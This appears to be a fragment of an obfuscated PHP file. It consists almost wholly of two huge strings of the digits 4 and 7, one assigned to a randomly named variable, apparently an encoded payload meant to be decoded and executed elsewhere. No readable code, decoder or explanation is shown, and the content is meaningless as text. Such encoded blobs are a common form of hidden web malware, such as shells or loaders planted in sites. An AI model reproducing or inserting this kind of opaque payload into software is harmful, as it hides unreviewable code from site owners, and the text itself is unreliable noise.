44444444444744474444444444474444444444474444444444444447444444444444444444444447444444474444444444444444444444444447444444444447444444474447444444444447444444474444444444444444444744474447444444444444444444444444444744474444444744474444444744444444444444444444444444444444444444444444444444444447444444474444444744474447444444474444444444444444444444474444444444444447444444444444444444474444444444444444444744474444444444474447444744444444444744444447444444444444444444444444444444444444444444444447444744474444444444444447444444474444444444444444444444474447444744474447444444444444444744444447444744444447444444474444444444444444444444444444444744474444444444444444444444444447444444444444444444444444444744444444444744444444444744444444444444444444444444444444444444474447444444444444444744444447444744474444444444444444444444444444444444444444444744474444444444444444444744444447444444444444444444474447444444444444444744444447444444474444444744444444444444444444444444474444444444444444444444444447444444444444444444444444444444444447444444474444444744444444444444474444444744444444444444444444444444444444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444447444444444444444744444444444744444447444444474444444444444444444444444444444444474444444444474444444444444444444444444444444444474447444444444444444444444444444744444447444444474447444444444444444444444447444744444447444444444444444444474444444744444444444444474444444444444444444444444444444444444444444444444444444744474444444444444447444444474447444744474444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444444444444444444444444444444444444744444444444444474447444444444444444444444444444444444444444444444444444444474447444744474447444444444447444744444447444444474444444444444447444444474444444744444444444444444444444744444444444744444447444744444444444444444444444444444447444444444447444744444447444444444444444744444447444444444447444744474444444444474444444744444444444744444444444744474444444444444444444444444444444444444444444444444444444444474444444744444444444444444444444444444444444444474444444444444447444444444444444444444444444744444444444744444444444444444444444744474444444444444444444444444444444444444444444444444447444444474444444744474444444444474444444744474444444444444444444444444447444744444444444444444444444444444444444444444444444444444444444444444447444444444444444744474447444444444447444444444444444444444444444444444444444744444444444444474444444744444444444444444444444744474444444444444444444444474444444444444444444444444444444444474447444444444444444744444444444744444444444444444444444444474444444744444447444444444444444444444444444444474444444444444444444444474447444444444447444744444444444444444444444444474444444444444447444744444447444444444447444444444444444444474444444444444447444444474444444444444447444744444444444744474444444444444444444444474444444444444444444444474444444444444444444444444444444744444444444444474444444744444444444444474444444444444444444744444447444444474444444444444444444444474444444444444444444744444444444444444444444744444447444744444444444744444444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444444474444444744444447444444444447444744474447444744444444444744474444444444444444444444474444444444444444444744444447444744474444444444444444444444444447444444444447444744474444444444474444444444474444444444444447444444444447444444444444444744474447444744444447444444444447444444444444444444444447444744474444444744444444444444444444444444444444444444444447444444444447444444444444444444474447444744444444444444444444444444444444444444444447444444444444444744474447444444444444444744444447444444474447444744474447444744444444444444444444444444444447444444444444444444444444444444444444444444444444444744474444444744444447444444444447444744474447444444474444444444444447444444474447444744474444444444444444444744444447444444444447444444444447444744444444444444444444444444474447444444444447444444474444444444444444444444444444444444444444444444444444444744444447444444444444444444444444444444444447444444444444444444444447444444474444444744444444444444444444444444474444444444444444444444444444444744474444444444444444444444444444444444444447444444444447444744444444444444444444444444444444444744444447444744474447444444444444444444444447444444474444444744474444444744474447444744444447444444474444444444474444444444444444444444474444444444444447444444474444444444444444444444474444444744474444444744474444444444444444444444444444444444444447444744444447444444474444444444444444444444474447444744444444444444444444444444444447444444444444444744444444444444444444444444474444444744444444444744444447444744444444444444474444444444474447444444474444444444444444444444474444444444444447444444444444444444474444444444444444444744444444444444444447444444444444444744444444444444444444444744444444444744444447444744444447444444474444444444444444444444444444444744444444444444444447444444474444444444474444444444444447444744444447444444444444444444444444444444444447444444444444444444474444444744444444444444444444444444474444444444474444444444474444444744444447444744444447444444444444444744444444444444444447444444444447444744444444444744444447444744444444444444444444444744444447444444444447444444444447444444444444444444444444444444474444444444474444444444474444444744444447444444444444444444444447444744444447444444444444444744444444444744444447444444474444444444444447444444474444444444444444444444444444444444474444444444474444444444474447444744474444444744444444444444474447444444474444444444444444444444444444444744444444444744444447444444474447444744444444444444474447444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444744444447444444444444444444444447444444444444444744444444444444474444444444444444444744444444444444444447444444474447444444474444444444474444444444474447444444474444444444444444444444474444444444444444444444444447444744474444444444444444444444444447444444444444444444474447444444444444444744444444444444444444444444474444444444474444444444474444444444444447444444444447444444474444444444474444444444444447444444474444444744474447444444474447444444444444444444444444444744474444444744444447444444444447444744444447444744444444444444444444444444444447444444444447444744444444444444474444444444474444444744444447444444444447444444474444444444444447444444444444444444474444444444444447444444474444444444474444444444474444444744444444444444444444444744444444444444444444444744444444444444444447444444444447444444444447444444444444444444474447444444474444444744444447444744444444444444444444444444444447444444444444444444444444444744444444444444444444444444474447444744474447444444444447444444474444444444444444444744474444444744444444444444444447444444444444444444474444444444474444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444744444444444444444447444744474447444444444444444444444444444444444447444444444444444744474447444744474447444744444444444444444447444444444447444444474444444444444444444444444444444744444447444444444444444444444444444444444447444444444444444444474444444744444447444444444447444444444444444444444444444444444447444744444444444444474444444444474444444444444444444444444447444444444444444744444444444444444444444444444444444744444444444444444447444444444447444444474447444744474447444444474444444744444447444444444447444444444444444744444444444744444444444444474444444444444444444444444444444444474444444744444444444444444444444744474444444444444444444444474444444444444444444444474447444744444447444444474444444444444444444444474447444444444444444444474444444444444444444744444444444744444444444744444444444444474444444444444444444744444444444444474444444744444444444744444444444444444444444444444447444444444444444744474444444444444444444444444447444444444444444444474444444444444444444444474444444444444444444444444444444744444444444444444444444444444444444744474444444444474444444744444447444744444444444444474444444444444444444444444447444744444444444444444444444444474444444744474447444444444444444444444444444444444444444444444447444444474444444744444447444744444444444444444447444444474444444444474444444444474444444744474444444444444444444444444444444444474444444444474444444444444447444444444444444444444444444744444444444444444444444444474447444444444444444744444444444444444447444444474444444744444447444444474444444744444447444444474444444444444444444744444447444444444444444444474444444444444444444744444447444744444447444444444444444744444444444444444444444444474444444744474444444444474444444444444444444444474447444744444444444444444444444444444444444444474444444444444447444444444444444744474447444744444444444744444447444444474444444444474447444444444444444444474444444444444444444444444444444444444444444444474444444444444447444444474447444444444444444444444444444444474444444744444444444744444444444444474444444444474444444444444444444444444444444444444447444444444444444744444444444444474447444444444444444444444447444444444444444444444447444744444444444744474447444444444447444444444444444744444444444444444447444444444444444444444444444444474444444744444447444444444444444444474444444444444444444744444444444444444447444744444444444444474444444744444444444444444444444444474444444444474444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444444444444444444447444744474444444444444444444444474444444444444444444444444447444744444444444444444444444744444447444744444444444444444444444444474447444444444447444444474444444744444447444744474447444444474444444444474447444444474444444744444444444444444444444444444444444444474447444444474444444444444444444444444447444744444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444744444447444444444444444444474447444444474447444444444444444444444447444444444444444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444444444444444444444444444447444444444444444444444444444744474444444744444444444744444444444744474444444444444447444444444444444444444444";
        $_idxe9c2b8 = "4444444744474447444444444444444444474444444744444444444444444444444744474444444744444447444444474447444444444447444444444447444444474444444444444444444444474444444744444444444744444444444744474444444444444447444444474447444444444444444444474447444444444444444444444444444444444444444444444447444444444444444444474444444444474444444444444444444444474444444744444447444444474444444744474444444444444444444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444474447444444444444444444444447444444444444444744444447444444474444444744444444444444444444444444474447444444474444444444444444444444474444444444444444444444444444444444474444444444444444444444444447444444474444444444444444444444444447444444444444444444444444444444444447444444444444444444444444444744444447444444474444444744474444444744444444444444474444444444444444444744444444444444474447444444474444444744444444444444444444444744444444444744474444444444474444444444474444444744474444444744444447444744444447444444444444444444474444444444474444444444444444444444474447444744444444444444444444444444474447444744444444444444444444444444444444444744474444444744444444444444444447444444444447444744444444444444444444444444444444444444444444444444444444444444444444444444444447444744444447444444474444444744444447444744444444444444474444444444444444444444444447444444474447444444444444444444444447444444444444444444474447444744474444444744444444444444474444444444474444444444444447444444444444444444444444444444444444444444474444444744444444444444474444444444444444444744444447444744444444444444474447444444474444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444444444444444444474447444744444447444444444444444744444447444744444444444444474447444444444444444444474447444444444444444744444444444444474444444444474447444744444444444444444444444444474447444744474444444744474444444444444444444744444444444444444447444444444447444444444447444444474447444444474447444744444447444444444444444444474444444744444444444444444447444444474447444444444444444744444447444744474444444444444444444744474447444444474447444444444444444444474444444744444444444444474444444744444444444744474444444444444447444444444447444744444444444744444444444744474444444444444444444744444444444444444444444444444447444444444444444444474444444444474444444744444444444444444444444744444444444444444444444444444447444744444444444444444447444444444444444444444444444744444444444444444447444444444444444444444447444444444444444444474444444444474444444444474444444744444444444744444444444444474444444444444444444444474444444444444444444444444444444444444444444744444444444444474444444444444444444444444447444444444444444744444444444444474447444744444447444744474444444444444447444744474444444444444447444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444474447444444474444444444444447444444444447444444444444444444444447444744474447444744444444444444444447444744444444444444444444444444444447444744444444444744444444444444444444444444474444444444474444444444444444444744444444444444444447444444444447444444444447444444444444444444444444444744444444444444474444444744474444444744444444444744444444444444444447444744444444444444444444444744444447444444444444444444444444444444444444444444444444444444444447444444444444444744444444444444444447444444444447444444444444444744444447444444474444444444474447444444444444444444444444444444444444444744444444444744444444444444474444444744444447444444474444444444474447444744474447444444444444444744444447444444474444444444474447444444474444444444444444444444474444444444444444444444474447444444444444444444444444444444474444444444474444444744474447444744444444444744444444444444444444444744474444444444444444444444474444444444444447444444474447444744444444444444474447444444444444444744444444444444444444444744444444444444444444444744444444444744444447444444444447444444444444444444444444444444444444444444474447444744444444444444444444444444444444444444444444444744474444444444444447444444444447444444444444444744474444444444444444444444474444444444444444444444444444444744444444444444444444444444474444444444474444444444444444444744444444444444474447444444444444444444474447444744474444444444444444444744474444444444444447444444444444444444444444444744444444444444474447444744444447444444444444444444474447444444444444444444444444444444444444444744444444444444474447444444444444444444444444444444474444444444474444444444474444444744444447444444474444444444444444444744444444444444444444444444444447444444474444444444444444444744444444444744474444444444444444444444444444444744444444444444444444444444444444444744444447444744444444444444444444444744444444444744444447444444474447444444444444444444474444444444444444444744474447444744444444444444444444444444444447444444474444444444474447444444444447444444474444444444444444444444444447444444444444444744474447444444444444444744474444444444444444444444444444444444444444444444444444444444474447444444444444444444444447444444444447444744474444444444444444444744444447444744444444444444444444444744444447444744474447444444444447444744474447444444474444444444444444444444444444444744444444444444474447444444444444444744444444444444444447444744444447444444474444444444444444444744444447444744444444444744444444444444444447444444444444444744444444444444474444444444444444444744444444444444444444444444444444444444444444444444444447444444474447444744444444444444444444444444444444444444474447444444444444444444444444444744474444444444444444444444444444444444444447444444444444444744474447444444474444444444444444444744444444444744444447444744474444444444474444444444444447444444474447444444474447444444474444444444444444444444474447444444444447444744444444444444444444444744444444444744474444444444444444444744444444444744444447444444474444444444444447444744444447444744444447444744444444444444444444444444444444444444444444444444444447444444444444444444444444444744474444444444474444444444444444444444444444444444444444444744444444444444474444444444474444444744474444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444444444444744474444444444474444444444474444444444444444444744444447444444444447444444474447444744444447444744444447444444444444444444444444444444444447444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444474444444444474444444744444444444444444444444744444444444444474444444444474444444444474444444444474447444744444444444444444447444444444444444444444444444744474447444444444447444444474444444744444447444444474444444444444447444744444444444444444444444444444447444444444444444444444444444744444444444444474444444744444444444444474444444744474444444444444447444744444444444744444447444444474444444744444444444444444444444744474444444444444447444444474444444444444444444444474444444444444444444444444444444444444447444744444444444444444444444444474447444444444444444744444447444444474444444444444444444744444447444444474444444444444444444444474444444444444444444444444447444444444447444444444444444444444447444444444444444444474444444744444447444744474444444444444444444744444444444444444444444444444444444444444444444744444447444444444444444444474447444744444444444444444444444444474447444444444444444444444444444744444447444444444444444744444444444444444444444444444444444444444447444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444474444444744444444444444444444444744444447444744474444444744444447444444444444444744444444444444444444444444444444444444474444444444444444444744474444444744444447444444444444444444444444444444474444444444474447444444474444444744444447444444474444444444444447444444444444444444474444444444444444444444444444444744474447444444444447444444444444444444444444444744444444444444474444444744444444444444444447444444474444444744444444444444444444444444474447444444444444444444444447444744444444444444444447444444444444444444444447444444444447444444444444444444444444444444444447444444444444444744444447444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444444444444444474444444744444447444444474444444444444447444444444444444444474444444744444444444444444444444744444444444444444444444444444447444444444444444744444444444744474447444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444474447444444474444444444444444444444474444444444474444444744474444444444474444444444474444444444474444444744444444444444444444444444444444444744474444444444444447444744444444444444474444444444444447444444444444444444444444444744444447444744474444444444474447444444444447444744444447444444444444444444444444444444474447444444444444444444444444444744444447444444444444444444474444444444444444444744444444444444444444444444444444444444474444444744444444444444444444444444444447444444474447444444474444444444474444444744444444444444444444444744474444444444444447444444444447444444444447444444474444444444474447444744444444444744444444444744444447444444474444444744444447444444474444444444444444444444474444444744474447444444444444444444444444444444444444444444444444444444444444444744444444444444444444444744474447444744444447444744474447444444444444444444444444444744474444444444474444444444444447444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444744444444444744474444444444474444444444444444444744444444444744444444444444444447444444444444444744444444444744474444444744444444444744444444444444444447444444444447444444444444444444444444444444444444444444444444444444474447444444444444444444474447444444444447444744444444444444444444444444444444444444444447444444444447444444444444444744474444444744444444444444444447444444444444444444474447444444444444444744444444444444444444444744474447444744444447444744444444444444444444444444474444444744444447444444444447444444444447444444474447444744444444444744444447444444444447444444474444444744444444444444444447444744474447444444444447444744474444444444474444444744444447444744474444444744474444444444474447444444444444444444444444444444444444444744444447444744444447444444444444444444444444444744444444444444444447444444474444444744474444444444444444444744444444444444444444444744444444444444474447444444474447444444444447444444444447444444474444444444444447444744474444444444474444444744474444444444474447444744474444444444474444444444444444444744474447444444444444444444474444444444444444444444444444444444444444444444444447444444444444444744474447444444444444444444444444444444444444444444444447444744444444444444444444444444444444444444444447444444474444444744444444444444444444444444444447444444444444444444474444444444474444444744444444444444474444444744474444444444474447444444444447444444444444444744444444444444444447444444444444444444444447444444444444444444444444444744474444444444474444444444444444444444444447444744474444444444444447444444444447444444474447444444444447444444474444444744474447444444444444444444444444444744474444444744444444444744474444444744444444444444444444444444444444444444474444444444444447444444444444444444444447444444474447444444474447444444444447444444444444444744474444444744444444444744444444444744474444444444474444444744444447444444444447444444444444444744444444444444444447444444444444444744474447444444444444444444444447444444444447444444444444444444444447444444444444444444444447444444444444444444444444444444444447444744444444444444444444444444444444444444444444444744444444444444444447444444444447444444444444444744474444444444444444444444444444444444444444444444474444444744444444444744474444444444444444444444444444444444444444444744444444444444474444444444444444444444444447444444474444444744444447444444444447444444474444444744444447444444444447444744474444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444444447444444444447444744444447444444444444444744444444444444474444444444444444444444444444444444444447444744444444444744444444444444474444444444444447444744474447444444444444444444444447444744474444444444474444444444444444444444444447444444474444444444444444444444444444444444444444444744444444444444444444444444444444444444444447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444447444744444444444444444444444444474447444744474444444444444444444444444444444744444444444444444444444744444447444744444444444744444444444744444447444444444444444444444444444744474444444744444447444444444447444444444444444444474447444444474444444444444444444444444444444744474447444744444447444444474444444744444444444444474444444744444447444444444444444444474444444444474444444444444447444444444444444744474447444744474447444444444444444444444444444444444444444744474444444444444444444444444444444744444444444444444444444444444447444444444444444744474444444444474447444444444447444444444444444444474444444444444444444444474447444744474447444444444447444744444444444444444444444444444447444744444444444444474444444444444444444444474444444444444444444744444444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444744474444444744474447444444444444444744444444444744444444444444444447444444444444444444444447444444444444444444444447444444444444444444444444444444474444444444444447444444444444444444444444444744444444444444474444444444444444444444444444444444444444444744444447444444444444444444474447444744444444444444474444444444444444444444474447444444444444444744444447444444474447444744444444444744444447444444444447444744444447444444444447444444444447444444444447444444444447444744444444444444474447444444444444444444444444444744444447444444444444444444474444444444444444444444474447444444444447444444444444444744444444444744444444444744444444444744444444444744474444444444444444444744444444444444444444444444444444444744474447444744444444444444444444444444444447444444474444444444444444444444444444444444444444444444444447444444444444444744444444444444444444444744474444444444474444444744444444444444444447444444444444444444444444444744444444444744444447444444444444444444444444444444474444444744444444444444444444444444474444444444444444444444444447444444444444444444444444444744474444444744444444444744444444444744474444444444444444444744444447444444444447444744474444444744444444444444444444444744444444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744444444444444444444444444444447444444444444444444444444444744444444444744444444444444444444444444444444444444444447444444444444444444474447444444474447444444444444444444444444444444444444444444444444444444444447444444474444444744444444444444444444444444444444444444474447444444444444444444474444444444444444444444444444444744444447444744474444444444474444444444444444444444444447444444444444444444474444444444444444444444444447444744444447444744474444444744474444444444444444444444444447444444444447444444444444444444444447444444444444444744444447444444474444444444444444444744444444444444444444444744444447444444444444444444474444444444444447444744444444444444444447444444444444444444474444444444444444444444474444444744474444444744444447444444474444444444444447444444444444444444444447444444444444444444444444444444444447444444444447444444444447444444444444444744444444444744474444444444444444444444444444444444444444444444474444444444444444444444444444444444474444444444474447444444444447444744444447444744444444444444474444444444444444444744444444444444444447444444444444444444444444444744474444444444474444444744444444444744444444444444444444444444444447444444474444444444444447444444444444444744474444444744444447444444444444444744474447444444444444444744444444444444444444444444444444444444444447444744474444444444444444444744444444444744444444444444474444444444444447444744474444444444474444444744474444444444444444444744474447444444474444444744474444444444474444444444444444444444474444444444474447444444444447444444444444444444444447444444444444444444444444444444444444444744474444444444444447444444444444444444474447444744474447444444444447444444474444444444444444444444444444444444444447444444444444444444444444444444474447444444444447444444444444444444444444444444474444444444444444444444444444444744444447444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444474447444444444447444444474444444444444444444744444444444444444447444444444444444444474444444444444444444444444444444744444447444444444444444444444444444744444447444444474444444444444444444744444447444744444444444744474444444444444444444444444447444444444444444444474447444444474444444444474444444744444444444444474444444444474444444444474444444744474447444444474444444444444447444444474444444744444444444444444447444744474444444744444447444444474444444444444444444444474444444444444444444744474444444444444447444444444447444444444444444444444444444444444444444444444444444444474444444444474444444444444444444444474444444744444444444444474444444444444444444444444444444444444444444744474444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444744474444444744444444444444444447444744474444444444444444444744474444444444444444444444444444444444444444444444444444444444444444444444474444444744444444444444474447444444444444444444444444444444444444444444444444444444474447444444444444444444474444444444444447444444474444444444444444444444444444444444474444444444444444444444444447444744444444444744474444444744444447444444444444444444444444444444444447444444444444444444444444444444444444444444474444444744444447444744444444444444444444444744474444444444444447444444444444444744444447444444444447444444444447444444474444444744474444444444444444444744444444444444474444444444474444444444444444444444474444444444474447444444474447444444474444444744444444444444444444444444444447444744474444444744474444444444444444444444444444444444474447444444474444444744474447444744444444444444444444444444474444444444474444444744474447444744444444444444474444444444474444444744474447444444444444444444474444444744474444444444474444444444474444444444444444444444444444444744474447444444444447444744474444444444444444444444444447444444444444444744444444444744444447444444474444444444474444444744444444444444474444444444444444444744444444444744444444444744444444444744474444444444444444444744474444444444474447444444444444444444474444444444474447444744444444444444474444444444444444444744444444444744444444444744444444444444444444444744444447444744474444444744444444444444474444444444444444444444474447444444474444444444444444444744444444444444444444444444444444444444444447444444474447444444444444444444444444444444444444444444444444444444474444444744444444444444474444444744444444444444444447444444474444444444444447444744444444444444444444444744444444444444444444444444474447444444474444444744444444444444474444444744444444444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444744474444444744444444444444444444444444474444444444444444444744474444444444444444444444444444444444444447444444444447444444444444444444444444444444444447444744474447444444444444444744444444444444444444444444444444444444444444444444444444444444474447444444474447444744444444444444474444444444444447444744444444444744444444444444444447444444444444444444444447444444444447444744444444444744444444444444444444444444474444444444474444444444444447444444444444444444444444444444444447444444444444444444444447444744474444444444444444444444444447444444474444444744444447444744474444444444444444444444474444444444444444444444474447444444444447444444474444444444474444444744444447444444444444444444474444444744444444444744444447444444474447444744444447444444474447444744444447444444444444444444444444444744444444444444474444444444444447444444444444444744474444444444444444444444474444444444444444444444444444444744474444444444444444444444444444444744444444444444474444444444444444444444444447444444474444444444444444444444444447444444444447444444444447444744444447444444444447444444444447444444444447444444444444444744444444444444474447444744444444444444444444444444444447444444444447444444444444444444444447444444444447444444474447444444444444444444444444444444474444444444444444444744444444444444474444444744474444444744444444444744444444444444444444444744444444444444444444444444444444444444474444444744474444444444444444444744444444444444444444444444474444444444474444444444444447444444444447444444474447444444444447444744444444444444474447444444474444444444444444444744444447444444474444444444474447444444474447444444444444444444444447444444444444444444474447444444444447444444444447444444444444444444474444444744444447444744474447444444444447444444444447444744444444444744444444444744444444444444444444444444444447444444444447444444444447444444474444444444444444444444444444444744444444444444444444444744444444444744474444444444444444444444444444444744444444444744444447444744474444444444444447444744444444444444444447444444444447444444474444444444444447444444444444444444444444444444474447444744444447444444444444444444444444444444474444444444444444444444444447444444444447444744444444444444444447444444474447444444474444444444444444444444444444444444444444444444444444444744444444444744474447444744474444444444474444444444444447444444444444444444444444444444444447444744474444444444444447444444474444444444444444444744474447444444474444444444444444444744474444444444444444444444474444444744444444444444444447444444444444444444474447444444444444444744444444444444444444444444444444444444444447444444444447444744474444444444444447444444444444444444444444444744474447444444474444444744474444444444474444444444444444444444444447444744444447444444444444444744444444444444444444444444444444444444444444444744444447444744444447444444444444444744444444444444444447444444444444444444444444444444444444444444444447444744444447444444474447444744444447444744474444444444444444444744444444444444474444444744474444444444444444444744474447444444444444444444444447444744444444444744444444444744474447444444474447444744444444444444444447444744444447444444444447444444474444444744444444444744444447444744444447444444474447444444474444444744444447444744444447444444444447444444444444444444444444444444474447444444474444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444744474444444744474447444444474444444444474444444744444444444444444447444444444447444444444447444744444444444444444444444444444444444744444444444744444447444444474444444444474444444444444444444744444447444444444447444744444444444444444444444744444447444444444444444444444447444444444444444444444444444444444444444744444447444444444444444444474444444444444444444444474444444444444444444444444444444444474444444444444444444744444444444444444444444444444447444444474444444444444447444444444444444444474444444444444444444744444444444444444444444744444444444744444444444444474444444444444444444444444444444444444447444744444447444444444444444444444447444444474444444444444444444744474447444744474447444444444444444444444444444744444444444444444447444744444444444444474444444744474444444444444447444444444444444744474444444744444444444744444444444444444447444444474444444444474444444444444444444444444444444444474444444444444447444744444444444444444444444444474447444744444444444444474447444444444444444444474444444744444447444444474444444444444444444444444444444444444444444444444444444444474447444744444444444444474444444444474444444444474444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444444444447444744444444444444474447444744474447444744444444444444474444444444474447444744444444444744444447444444444447444444444447444444474447444444444444444744444444444444444444444444444444444744474444444444444444444444444444444444444444444744474444444444444447444444444444444444444444444744444444444744444444444744444444444444444444444444444444444444444447444444474444444744444444444744474444444444444444444444474444444744444444444444444444444444474447444444444444444444444444444744474444444444444444444444444444444444444447444444474447444444444444444444444444444744444444444444444444444444444444444444444447444444474447444744444444444744444447444444444444444444444444444444474444444744474444444744444444444444444447444444474444444744474444444444444444444444444447444444444444444444474447444444444444444444474444444444474447444444444444444744444444444444444447444444444447444744444447444444444444444444444447444744444444444444444447444444444447444744444444444444444447444444444444444744444444444744444444444444444444444744474447444444444444444444444444444444474444444444474447444444444444444744444444444444474444444744444444444444444444444744444444444444474444444744444444444444444447444744444447444444474447444744444447444444444444444444444447444744444444444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444474444444444444444444744474447444444474444444444474447444444474444444444444444444744444444444444444444444444444444444744444444444444474444444744444444444444444444444444444447444744474447444444444447444744474444444444474444444744444444444744444444444444444444444444444444444444474447444744444444444444444444444744444444444744474447444744444444444444444447444444444447444744474444444444444447444444474447444744444447444744444444444444474444444744444447444744444444444444444444444444474447444444474447444744444444444444444444444444444447444744444444444444474444444744444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444444474447444444474447444744444444444444444444444744444444444744444444444744444444444744444444444444444447444744444444444444474444444444474444444444444444444444474444444744474444444444444447444444474447444744444447444744474447444744444444444444474444444444444444444444474444444744444444444444444444444444474444444444474444444444444444444744444444444744444444444744444444444444444447444744474447444444474447444744444444444744444444444744474447444444474444444444444444444444444444444444444444444444444444444744474447444444444444444444444444444744444447444444444444444444474444444444444444444444444444444444444447444444444444444444444444444444444444444444444447444444474444444444444444444744444444444444444444444744444444444444444447444444444444444444474444444444444447444444444444444444444444444444444447444444444447444744444444444444474444444744474444444444444447444444444447444444474447444744444444444444444444444444474444444744444444444444474444444744474444444444444444444444474447444444474444444444444444444744444447444744444444444444474444444444444444444444444444444444444447444444444447444444444444444444444447444444444444444444474447444444444444444744474447444744474447444444444444444744474444444444444444444444474444444444444444444444474447444744444444444444444447444444444444444444444444444444444444444744474444444444444444444444474444444444444447444744474444444444474444444444444444444444474444444744474444444444444447444444444447444444444447444444444444444444444447444444474447444444444444444444444444444444444444444444444447444444444444444444474444444444444444444444474444444744444444444444474447444444444444444744444447444744444447444744444444444444474444444744444444444444444447444444444444444444444447444744444444444444444444444444474444444444474444444444474447444744444444444444444444444444444447444744444444444744444447444444444444444444444444444444444447444744444444444444444444444444474444444444444447444444474444444444444444444744444444444444444444444444444447444744444447444444444444444444444444444744474447444444444444444444474447444444474447444744444444444744444444444444474447444744444447444444444444444744444444444744474444444444474444444444444444444444444447444444474444444444444444444744444444444444444444444444444444444744444447444744444444444444444444444444444447444444444444444444474444444444474444444444444444444444444444444444474444444744444444444444444444444444474444444444474447444744474444444744444447444444444447444444474444444444444447444444474444444744444444444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444447444744474444444744444447444744444444444744444444444444444444444444444447444444444444444444474444444744444447444744474444444444444444444744444444444744444444444444474444444744474447444444444447444744444447444444474444444444444447444744474444444444474447444444474444444444474444444444444447444744474444444744474447444444444447444444474447444444444444444444444444444744474444444744444447444444444444444744474444444744474444444444474444444444444444444444444444444444444444444444444447444444474444444744444444444744474447444744444444444744444444444444444444444444474444444744444444444444444444444444444444444444474444444744444444444444444444444444474447444744444444444444444444444744474444444744444444444444474444444744444444444444444447444744474444444444444444444444444447444444474444444444444447444444444444444744444447444444444444444444474447444444474447444444474447444444444447444444444447444744474444444444444447444444474444444444444444444744444444444744444444444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444444447444444444444444444444447444444444444444744444444444444444444444744474444444444444444444744474444444444444447444444474444444444444447444444444444444444474444444744474447444444444447444444444444444444444444444744444444444744474447444444474447444744474447444744444444444744474444444444444444444744444444444444444444444744444444444444444444444444474444444444474444444444474444444444444447444444444444444444444447444444444444444444474444444444444444444444444444444444474447444444444444444444444444444444474447444744444447444744444444444444444444444444444444444444444444444744444447444744444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444444447444744474444444744444447444744474447444444444447444444474444444444444444444444444444444444444447444744444444444444444444444444444447444444444444444444444444444444444444444444444444444444444447444444444444444744474444444744444447444744444444444444444444444444444447444744444444444444444444444444444447444744444447444444444444444444444447444444444447444444444444444444444444444444444444444444474444444744444444444444444447444444444444444444444447444444444444444444444444444444474447444444474444444744444447444444444447444444444444444744444444444444474447444444474444444444444444444444444444444444474447444444474444444444444444444744474444444444444444444444444447444744444447444444444447444744444447444444444444444444444444444744444444444444444444444744444444444444444444444744444444444444444444444744474444444444444444444444444444444744474447444444474444444444444444444444444444444444444444444444474447444444444444444444444447444744474444444444444447444744474447444444474444444444474447444744474444444744444444444744444447444444474447444444444444444444444444444444444444444744474444444444444444444444444444444444474447444744474444444744474447444444474447444444444444444744474444444444474447444744444444444444444447444444444444444444444447444444444444444444474447444444474444444744444444444444474444444444444444444744444444444444444447444744444447444444474447444444474444444444444444444444444444444444444444444444444444444444444444444444444447444744444444444444474444444444444444444444444444444744444444444444444444444444444447444444474447444744474444444444444444444744444444444444444444444444444444444444444444444744444447444744444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444444444444444744444444444744474444444744444444444444444444444444474447444444444447444444474447444744444444444444444444444444444444444444444444444444444447444744444447444744444447444444474444444444444444444444474444444444474447444444444444444744444444444744444444444444444444444444444447444444444444444444444444444744444447444444474447444444444447444744444444444444444444444444474444444444444444444444444444444444444444444744474444444744444444444444444444444444474444444444474447444444474444444444444444444444474444444744444447444444444444444744444444444444444444444444444444444444444444444444444444444444474444444444444447444744444444444444444444444744444447444444444444444444444444444444444444444444474444444444474444444444444444444444444447444444444447444744474447444744474447444744444444444444444444444744444447444444444444444444444444444444444444444444444447444444444444444444474444444444444447444444444447444444444444444444474444444444444447444444444444444444444447444444444444444744474444444444474444444744444444444744444444444444444447444744474447444744474444444444474444444444444444444744444447444444444447444444444447444744444444444444444447444444474444444744474444444444474444444444474444444744444444444444474444444444444444444444444447444744444447444744474447444444444447444444474444444444444444444444444444444444474447444444444444444444444444444444444447444744444444444444444444444744444447444444444447444744444447444444474444444744444444444444474444444444444444444444474444444444474447444444444447444444474444444444474444444744444444444744474444444444444444444444474444444744474444444444444444444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444744444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444474447444744444444444744444447444744444444444744444447444444474444444444444444444744444444444744444447444744444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444744444444444444474444444744444444444444474444444444444447444444444444444444444447444444474444444744444444444444444444444444444444444744444444444444474444444444444447444744474444444744444444444444444444444444444444444744474444444444444447444444444447444444474444444444444444444744474444444444444444444444444444444444444444444444474